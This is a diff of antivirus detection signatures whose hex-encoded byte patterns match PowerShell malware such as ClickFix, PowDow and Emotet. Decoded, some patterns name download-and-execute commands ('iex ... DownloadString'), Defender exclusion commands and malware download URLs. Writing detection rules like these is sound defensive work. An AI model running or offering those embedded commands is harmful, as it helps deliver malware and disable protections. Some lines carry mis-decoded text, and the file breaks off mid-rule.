42 21 4d 54 42 00 01 00 1a 00 6e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 01 00 27 02 64 00 6f } //21283 牔橯湡潄湷潬摡牥场湩㈳倯坓扥潴獯䈮䴡䉔Āᨀ渀攀琀⸀圀攀戀䌀氀椀攀渀琀Ā✀搂漀 - $a_00_2 = {61 00 64 00 66 00 69 00 6c 00 65 00 28 00 90 02 01 68 00 74 00 74 00 70 00 90 00 01 00 4a 02 65 00 78 00 70 00 61 00 6e 00 64 00 2d 00 61 00 72 00 63 00 68 00 69 00 76 00 65 00 90 02 20 2d 00 70 00 61 00 74 00 68 00 90 02 20 43 00 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 90 00 01 00 39 02 2d 00 } //108 + $a_00_2 = {61 00 64 00 66 00 69 00 6c 00 65 00 28 00 90 02 05 68 00 74 00 74 00 70 00 90 00 01 00 4a 02 65 00 78 00 70 00 61 00 6e 00 64 00 2d 00 61 00 72 00 63 00 68 00 69 00 76 00 65 00 90 02 20 2d 00 70 00 61 00 74 00 68 00 90 02 20 43 00 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 90 00 01 00 39 02 2d 00 } //108 $a_00_3 = {73 00 74 00 69 00 6e 00 61 00 74 00 69 00 6f 00 6e 00 90 02 20 43 00 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 90 00 01 00 31 02 73 00 74 00 61 00 72 00 74 00 2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 90 02 20 2d 00 66 00 69 00 6c 00 65 00 70 00 61 00 74 00 68 } //100 condition: ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*108+(#a_00_3 & 1)*100) >=6 } -rule _InfrastructureShared_26514{ +rule _InfrastructureShared_28205{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 77 45 78 63 45 6e 76 2e 52 58 48 21 4d 54 42 00 05 00 87 02 61 00 64 00 64 00 2d 00 6d 00 70 00 70 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 65 00 78 00 63 } //21283 + $a_00_2 = {6f 00 6e 00 70 00 61 00 74 00 68 00 90 02 ff 61 00 64 00 64 00 2d 00 6d 00 70 00 70 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 90 00 05 00 87 02 61 00 64 00 64 00 2d 00 6d 00 70 00 70 00 72 00 } //115 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*115) >=6 + +} +rule _InfrastructureShared_28206{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,66 00 66 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 50 6f 77 64 6f 77 2e 52 52 41 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 06 00 69 00 65 00 78 00 01 00 0c 00 68 00 69 00 64 } //21283 + $a_00_2 = {86 02 74 00 65 00 78 00 74 00 2e 00 65 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 75 00 74 00 66 00 38 00 2e 00 67 00 65 00 74 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 5b 00 90 02 1f 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 66 00 72 00 6f 00 6d 00 62 00 61 } //110 + $a_00_4 = {73 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 90 02 05 29 00 29 00 3b 00 90 00 64 00 6a 02 3d 00 5b 00 63 00 68 00 61 00 72 00 5d 00 5b 00 63 00 6f 00 6e } //54 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*110+(#a_00_4 & 1)*54) >=102 + +} +rule _InfrastructureShared_28207{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 45 45 52 21 4d 54 42 00 01 00 6e 02 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 66 00 69 00 6c 00 65 00 90 02 3c 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 90 } //21283 + $a_00_1 = {90 02 06 2e 00 90 02 02 06 2e 00 90 02 50 2e 00 65 00 78 00 65 00 90 02 20 2c 00 24 00 90 02 20 73 00 74 00 61 00 72 00 74 00 2d 00 70 00 } //1538 + $a_00_2 = {63 00 65 00 73 00 73 00 20 00 24 00 90 00 01 00 49 02 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 90 02 06 2e 00 90 02 06 2e 00 90 02 02 06 2e 00 90 02 50 2e 00 65 00 78 00 65 00 90 02 20 20 00 2d 00 6f 00 90 02 20 24 00 65 00 6e 00 76 00 3a 00 74 00 65 00 6d 00 70 00 90 00 01 00 6e 02 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 90 02 } //114 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*1538+(#a_00_2 & 1)*114) >=1 + +} +rule _InfrastructureShared_28208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " strings : - $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 68 6f 77 43 6f 6e 46 6c 75 66 66 79 42 61 74 74 2e 4c 21 64 68 61 00 01 00 d3 02 2d 00 67 00 20 00 54 00 65 00 78 00 74 00 46 00 6f 00 72 00 6d 00 61 00 74 00 74 00 69 00 6e 00 67 } //21283 + $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 68 6f 77 43 6f 6e 46 6c 75 66 66 79 42 61 74 74 2e 4c 21 64 68 61 00 01 00 d3 02 2d 00 67 00 20 00 54 00 65 00 78 00 74 00 46 00 6f 00 72 00 6d 00 61 00 74 00 } //21539 + $a_00_1 = {6e 00 67 00 52 00 75 00 6e 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 69 00 65 00 73 00 20 00 2d 00 66 00 20 00 62 00 69 00 6e 00 61 00 72 00 79 00 66 00 6f 00 72 00 6d 00 61 00 74 00 74 00 65 00 72 00 20 00 2d 00 63 00 90 02 20 2d 00 2d 00 76 00 61 00 6c 00 69 00 64 00 61 00 74 00 69 00 6f 00 6e 00 61 00 6c 00 } //116 condition: - ((#a_46_0 & 1)*21283) >=1 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*116) >=1 } -rule _InfrastructureShared_26515{ +rule _InfrastructureShared_28209{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {57 69 6e 33 32 2f 41 64 6d 69 6e 43 68 65 63 6b 2e 5a 21 4d 54 42 00 01 00 6a 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 2e 00 50 00 72 00 69 00 6e 00 63 00 69 00 70 00 61 00 6c 00 2e 00 57 00 69 00 6e 00 64 00 6f 00 77 } //21283 楗㍮⼲摁業䍮敨正娮䴡䉔Ā樀匀攀挀甀爀椀琀礀⸀倀爀椀渀挀椀瀀愀氀⸀圀椀渀搀漀眀 + $a_00_2 = {6e 00 74 00 69 00 74 00 79 00 5d 00 3a 00 3a 00 47 00 65 00 74 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 28 00 29 00 29 00 3b 00 20 00 24 00 01 00 46 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 2e 00 50 00 72 00 69 00 6e 00 63 00 69 00 70 00 61 00 6c 00 2e 00 57 00 69 00 6e 00 64 00 6f 00 77 } //100 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*100) >=3 + +} +rule _InfrastructureShared_28210{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 70 44 69 73 61 62 6c 65 44 65 66 65 6e 64 65 72 53 72 76 2e 41 44 00 03 00 b4 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 90 02 06 6e 00 65 00 } //21283 + $a_00_1 = {69 00 74 00 65 00 6d 00 70 00 72 00 6f 00 70 00 65 00 72 00 74 00 79 00 20 00 2d 00 70 00 61 00 74 00 68 00 90 02 06 68 00 6b 00 6c 00 } //119 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*119) >=6 + +} +rule _InfrastructureShared_28211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,4c 04 4c 04 0b 00 21 " @@ -346747,7 +368755,7 @@ rule _InfrastructureShared_26515{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*100+(#a_00_2 & 1)*32+(#a_00_3 & 1)*119+(#a_00_4 & 1)*114+(#a_00_6 & 1)*100+(#a_00_8 & 1)*92+(#a_01_9 & 1)*34+(#a_00_10 & 1)*105) >=1100 } -rule _InfrastructureShared_26516{ +rule _InfrastructureShared_28212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " @@ -346759,7 +368767,7 @@ rule _InfrastructureShared_26516{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*16386+(#a_00_2 & 1)*92) >=3 } -rule _InfrastructureShared_26517{ +rule _InfrastructureShared_28213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346769,7 +368777,35 @@ rule _InfrastructureShared_26517{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26518{ +rule _InfrastructureShared_28214{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,66 00 66 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 4c 21 4d 54 42 00 64 00 5c 00 69 00 65 00 78 00 20 00 28 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 4e 00 65 00 74 00 2e 00 57 00 } //21283 + $a_00_1 = {43 00 6c 00 69 00 65 00 6e 00 74 00 29 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 64 00 5e 00 69 00 65 00 78 00 20 00 28 00 28 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 } //101 Client).DownloadString(d^iex ((New-Object Net.Web + $a_00_2 = {69 00 65 00 6e 00 74 00 29 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 64 00 5e 00 40 00 20 00 69 00 65 00 78 00 28 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 29 00 } //67 ient).DownloadString(d^@ iex(New-Object Net.WebClient) + $a_00_3 = {6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 01 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 6d 01 00 42 00 42 00 08 00 } //46 + $a_4c_4 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 48 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 08 00 68 00 74 00 74 00 70 00 32 00 27 02 73 00 74 00 61 00 72 00 74 00 2d 00 } //8993 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_2 & 1)*67+(#a_00_3 & 1)*46+(#a_4c_4 & 1)*8993) >=102 + +} +rule _InfrastructureShared_28215{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,42 00 42 00 08 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 48 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 08 00 68 00 74 00 74 00 70 00 32 00 27 02 73 00 74 00 61 00 } //21283 + $a_00_1 = {2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 90 02 0f 68 00 74 00 74 00 70 00 90 00 32 00 37 02 73 00 74 00 61 00 72 00 74 00 2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 90 02 0f 2d 00 6e 00 6f 00 6e 00 65 00 77 00 77 00 69 00 6e 00 64 00 6f 00 77 00 90 00 32 00 31 02 73 00 74 00 61 00 72 00 74 00 2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 } //114 + $a_02_2 = {0f 6a 00 6f 00 69 00 6e 00 2d 00 70 00 61 00 74 00 68 00 90 00 05 00 26 00 43 00 6c 00 6f 00 75 00 64 00 20 00 49 00 64 00 65 00 6e 00 74 00 69 00 66 00 69 00 63 00 61 00 74 00 6f 00 72 00 05 00 28 00 41 00 63 00 74 00 69 00 6f 00 6e 00 20 00 49 00 64 00 65 00 6e 00 74 00 69 00 66 00 69 00 63 00 61 00 74 00 6f 00 72 00 05 00 28 00 53 00 61 00 66 00 65 00 67 00 75 00 61 00 72 00 64 00 20 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 } //115 + $a_00_5 = {0b } //28375 + $a_53_7 = {46 3a 57 69 6e 33 32 2f 43 6f 69 6e 4d 69 6e 65 72 43 6d 64 2e 42 00 0a 00 20 02 20 00 2d 00 6f 00 20 00 } //8448 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114+(#a_02_2 & 1)*115+(#a_00_5 & 1)*28375+(#a_53_7 & 1)*8448) >=66 + +} +rule _InfrastructureShared_28216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 0d 00 21 " @@ -346787,7 +368823,7 @@ rule _InfrastructureShared_26518{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*112+(#a_00_3 & 1)*108+(#a_00_5 & 1)*45+(#a_00_7 & 1)*112+(#a_00_8 & 1)*1+(#a_4c_9 & 1)*21539+(#a_00_10 & 1)*110+(#a_00_12 & 1)*111) >=11 } -rule _InfrastructureShared_26519{ +rule _InfrastructureShared_28217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 04 00 21 " @@ -346799,7 +368835,19 @@ rule _InfrastructureShared_26519{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*110+(#a_00_3 & 1)*111) >=5 } -rule _InfrastructureShared_26520{ +rule _InfrastructureShared_28218{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 6f 6c 64 65 6e 44 6f 6d 65 2e 4c 21 64 68 61 00 01 00 44 02 2d 00 66 00 6f 00 6c 00 64 00 65 00 72 00 69 00 64 00 90 02 80 2d 00 73 00 69 00 74 00 65 00 69 00 64 00 } //21539 + $a_73_1 = {68 00 61 00 72 00 65 00 70 00 6f 00 69 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 90 00 01 00 56 00 61 00 63 00 61 00 64 00 65 00 6d 00 79 00 6f 00 66 00 63 00 68 00 69 00 6c 00 64 00 72 00 65 00 6e 00 73 00 74 00 68 00 65 00 61 00 74 00 72 00 65 00 2d 00 6d 00 79 00 2e 00 73 00 68 00 61 00 72 00 65 00 70 00 6f 00 69 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 01 00 52 00 61 00 63 00 61 00 } //656 + $a_00_2 = {6d 00 79 00 6f 00 66 00 63 00 68 00 69 00 6c 00 64 00 72 00 65 00 6e 00 73 00 74 00 68 00 65 00 61 00 74 00 72 00 65 00 2e 00 6f 00 6e 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 63 00 6f 00 6d 00 01 00 48 00 62 00 66 00 31 00 32 00 39 00 62 00 66 00 35 00 2d 00 34 00 66 00 65 00 38 } //100 + condition: + ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*656+(#a_00_2 & 1)*100) >=1 + +} +rule _InfrastructureShared_28219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 05 00 21 " @@ -346812,7 +368860,34 @@ rule _InfrastructureShared_26520{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*50+(#a_00_3 & 1)*117+(#a_00_4 & 1)*101) >=1 } -rule _InfrastructureShared_26521{ +rule _InfrastructureShared_28220{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,32 00 32 00 14 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 43 6c 69 63 6b 46 69 78 2e 42 00 32 00 0c 00 2e 00 73 00 68 00 6f 00 70 00 2f 00 32 00 0a 00 2e 00 78 00 79 00 7a 00 2f 00 32 00 0a 00 2e 00 69 00 63 00 75 00 2f 00 32 00 0a 00 2e 00 6c 00 } //21283 + $a_00_1 = {2f 00 32 00 0a 00 2e 00 66 00 75 00 6e 00 2f 00 32 00 0a 00 2e 00 62 00 65 00 74 00 2f 00 32 00 0c 00 2e 00 62 00 6f 00 6e 00 64 00 2f 00 32 00 0a 00 2e 00 74 00 6f 00 70 00 2f 00 32 00 0e 00 2e 00 77 00 6f 00 72 00 6c 00 64 00 2f 00 32 00 10 00 2e 00 66 00 6f 00 72 00 65 00 73 00 74 00 2f 00 32 00 0e 00 2e 00 74 00 6f 00 64 00 61 00 79 00 2f 00 } //97 + $a_00_2 = {2e 00 72 00 75 00 6e 00 2f 00 } //50 .run/ + $a_00_3 = {2e 00 73 00 62 00 73 00 2f 00 } //50 .sbs/ + $a_00_4 = {2e 00 6d 00 6f 00 6d 00 2f 00 } //50 .mom/ + $a_00_5 = {2e 00 64 00 69 00 67 00 69 00 74 00 61 00 6c 00 2f 00 } //50 .digital/ + $a_00_6 = {2e 00 68 00 61 00 69 00 72 00 2f 00 } //50 .hair/ + $a_00_7 = {2e 00 63 00 6c 00 69 00 63 00 6b 00 2f 00 } //50 .click/ + $a_00_8 = {2e 00 63 00 79 00 6f 00 75 00 2f 00 } //50 .cyou/ + $a_00_9 = {2e 00 62 00 65 00 61 00 75 00 74 00 79 00 2f 00 } //50 .beauty/ + $a_00_10 = {63 00 61 00 73 00 74 00 20 00 61 00 62 00 69 00 2d 00 65 00 6e 00 63 00 6f 00 64 00 65 00 } //-500 cast abi-encode + $a_7a_11 = {00 6f 00 6f 00 16 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 68 61 64 6f 77 69 6e 67 46 73 63 61 6e 2e 41 21 64 68 61 00 64 00 12 00 66 00 73 00 63 00 61 00 6e 00 2e 00 65 00 78 00 65 00 64 00 12 00 66 00 73 00 63 00 61 00 6e 00 2e 00 74 00 6d 00 70 00 0a 00 08 00 20 00 2d 00 68 00 20 00 0a 00 0a 00 20 00 2d 00 68 00 66 00 20 00 0a 00 0a 00 20 00 2d 00 68 00 6e 00 20 00 0a 00 08 00 20 00 2d 00 75 00 20 00 0a 00 0a 00 20 00 2d 00 75 00 66 00 20 00 01 00 08 00 20 00 2d 00 63 00 20 00 01 00 0e 00 2d 00 63 00 6f 00 6f 00 6b 00 69 00 65 00 01 00 0e 00 2d 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 01 00 08 00 20 00 2d 00 } //0 + $a_00_12 = {01 00 08 00 20 00 2d 00 6e 00 6f 00 01 00 0a 00 20 00 2d 00 6e 00 62 00 72 00 01 00 0c 00 20 00 } //109 + $a_00_13 = {70 00 6f 00 63 00 01 00 0a 00 20 00 2d 00 6e 00 70 00 20 00 01 00 0a 00 20 00 2d 00 72 00 66 00 20 00 01 00 0a 00 20 00 2d 00 72 00 73 00 20 00 01 00 08 00 2d 00 70 00 77 00 64 00 01 00 0c 00 2d 00 70 00 72 00 6f 00 78 00 79 00 01 00 0a 00 20 00 2d 00 70 00 61 00 20 00 01 00 0e 00 2d 00 73 00 6f 00 63 00 6b 00 73 00 35 00 01 00 } //45 + $a_00_14 = {2d 00 73 00 63 00 20 00 00 00 d7 7b 01 00 4c 04 4c 04 0b 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e } //10 + $a_6e_15 = {32 2f 50 73 6f 62 66 75 73 2e 45 00 e8 03 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 64 00 12 00 2d 00 77 00 20 00 68 00 69 00 64 00 64 00 65 00 20 00 64 00 14 00 2d 00 77 00 69 00 20 00 68 00 69 00 64 00 64 00 65 00 20 00 64 00 16 00 2d 00 77 00 69 00 6e 00 20 00 68 } //22330 + $a_00_17 = {20 00 64 00 18 00 2d 00 77 00 69 00 6e 00 64 00 20 00 68 00 69 00 64 00 64 00 65 00 20 00 64 00 1a 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 20 00 68 00 69 00 64 00 64 00 65 00 20 00 64 00 1c 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 20 00 68 00 69 00 64 00 64 00 65 00 20 00 64 00 1e 00 2d 00 77 00 69 } //100 + $a_00_19 = {73 00 20 00 68 00 69 00 64 00 64 00 65 00 20 00 64 00 20 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 20 00 68 00 69 00 64 00 64 00 65 00 20 00 64 00 22 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 20 00 68 00 69 00 64 00 64 00 65 00 20 00 64 00 24 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 6c 00 20 00 68 } //111 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*97+(#a_00_2 & 1)*50+(#a_00_3 & 1)*50+(#a_00_4 & 1)*50+(#a_00_5 & 1)*50+(#a_00_6 & 1)*50+(#a_00_7 & 1)*50+(#a_00_8 & 1)*50+(#a_00_9 & 1)*50+(#a_00_10 & 1)*-500+(#a_7a_11 & 1)*0+(#a_00_12 & 1)*109+(#a_00_13 & 1)*45+(#a_00_14 & 1)*10+(#a_6e_15 & 1)*22330+(#a_00_17 & 1)*100+(#a_00_19 & 1)*111) >=50 + +} +rule _InfrastructureShared_28221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 16 00 21 " @@ -346826,18 +368901,20 @@ rule _InfrastructureShared_26521{ $a_6e_7 = {32 2f 50 73 6f 62 66 75 73 2e 45 00 e8 03 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 64 00 12 00 2d 00 77 00 20 00 68 00 69 00 64 00 64 00 65 00 20 00 64 00 14 00 2d 00 77 00 69 00 20 00 68 00 69 00 64 00 64 00 65 00 20 00 64 00 16 00 2d 00 77 00 69 00 6e 00 20 00 68 } //22330 $a_00_9 = {20 00 64 00 18 00 2d 00 77 00 69 00 6e 00 64 00 20 00 68 00 69 00 64 00 64 00 65 00 20 00 64 00 1a 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 20 00 68 00 69 00 64 00 64 00 65 00 20 00 64 00 1c 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 20 00 68 00 69 00 64 00 64 00 65 00 20 00 64 00 1e 00 2d 00 77 00 69 } //100 $a_00_11 = {73 00 20 00 68 00 69 00 64 00 64 00 65 00 20 00 64 00 20 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 20 00 68 00 69 00 64 00 64 00 65 00 20 00 64 00 22 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 20 00 68 00 69 00 64 00 64 00 65 00 20 00 64 00 24 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 6c 00 20 00 68 } //111 - $a_00_13 = {20 00 00 00 d7 83 01 00 41 01 41 01 10 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 53 75 73 70 41 72 63 68 69 76 65 43 6f 6c 6c 65 63 74 2e 41 00 01 00 0e 00 5c 00 37 00 7a 00 2e 00 65 00 78 00 65 00 01 00 16 00 5c 00 37 00 7a 00 5f 00 78 00 36 00 34 00 2e 00 65 00 78 00 65 00 01 00 10 00 5c 00 37 00 7a 00 } //100 - $a_00_14 = {65 00 78 00 65 00 01 00 10 00 5c 00 72 00 61 00 72 00 2e 00 65 00 78 00 65 00 01 00 14 00 5c 00 72 00 61 00 72 00 33 00 32 00 2e 00 65 00 } //97 - $a_00_15 = {01 00 14 00 5c 00 72 00 61 00 72 00 36 00 34 00 2e 00 65 00 78 00 65 00 01 00 10 00 5c 00 74 00 61 00 72 00 2e 00 65 00 78 00 65 00 01 00 16 00 5c 00 77 00 69 00 6e 00 61 00 63 00 65 00 2e 00 65 00 78 00 65 00 01 00 16 00 5c 00 77 00 69 00 6e 00 72 00 61 00 72 00 2e 00 65 00 78 00 65 00 01 00 16 00 5c } //120 - $a_00_17 = {69 00 70 00 2e 00 65 00 78 00 65 00 01 00 14 00 5c 00 77 00 7a 00 7a 00 69 00 70 00 2e 00 65 00 78 00 65 00 64 00 0a 00 2a 00 2e 00 70 00 64 00 66 00 64 00 0a 00 2a 00 2e 00 64 00 6f 00 63 00 64 00 0a 00 2a 00 2e 00 72 00 74 00 66 00 14 00 1e 00 3a 00 5c 00 24 00 52 00 45 00 43 00 59 00 43 00 4c 00 45 00 2e 00 42 00 49 00 4e 00 5c 00 14 00 0c 00 25 00 74 00 65 00 } //97 - $a_00_18 = {25 00 00 00 d7 9f 01 00 21 00 21 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 45 6d 6f 74 65 74 21 52 54 00 01 00 2c 00 2f 00 63 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 2f 00 42 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 3a 00 68 00 74 00 74 00 70 } //109 - $a_00_20 = {68 00 65 00 70 00 69 00 6c 00 61 00 74 00 65 00 73 00 73 00 74 00 75 00 64 00 69 00 6f 00 6e 00 6a 00 2e 00 63 00 6f 00 6d 00 0a 00 2a 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 61 00 6c 00 66 00 61 00 6f 00 66 00 61 00 72 00 6d 00 73 00 2e 00 63 00 6f 00 6d 00 0a 00 2c 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 73 00 74 00 61 00 76 00 } //47 - $a_00_21 = {6e 00 63 00 6a 00 73 00 2e 00 63 00 6f 00 6d 00 0a 00 28 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 69 00 74 00 6f 00 6d 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 69 00 6e 00 01 00 2c 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 } //105 + $a_00_13 = {20 00 00 00 d7 7f 01 00 6e 00 6e 00 17 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 43 55 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 0a 00 6d 00 73 00 68 00 74 00 61 00 9c ff 14 00 75 00 72 00 74 00 72 00 } //100 + $a_00_14 = {2e 00 63 00 6d 00 64 00 64 00 0a 00 2e 00 73 00 68 00 6f 00 70 00 64 00 08 00 2e 00 78 00 79 00 7a 00 64 00 08 00 2e 00 69 00 63 00 75 00 64 00 08 00 2e 00 6c 00 61 00 74 00 64 00 08 00 2e 00 66 00 75 00 6e 00 64 00 08 00 2e 00 62 00 65 00 74 00 64 00 0a 00 2e 00 6c 00 69 00 76 00 65 00 64 00 0a 00 2e 00 6c 00 69 00 66 00 65 00 } //117 + $a_00_15 = {2e 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 } //100 .online + $a_00_16 = {2e 00 62 00 6f 00 6e 00 64 00 } //100 .bond + $a_00_17 = {2e 00 74 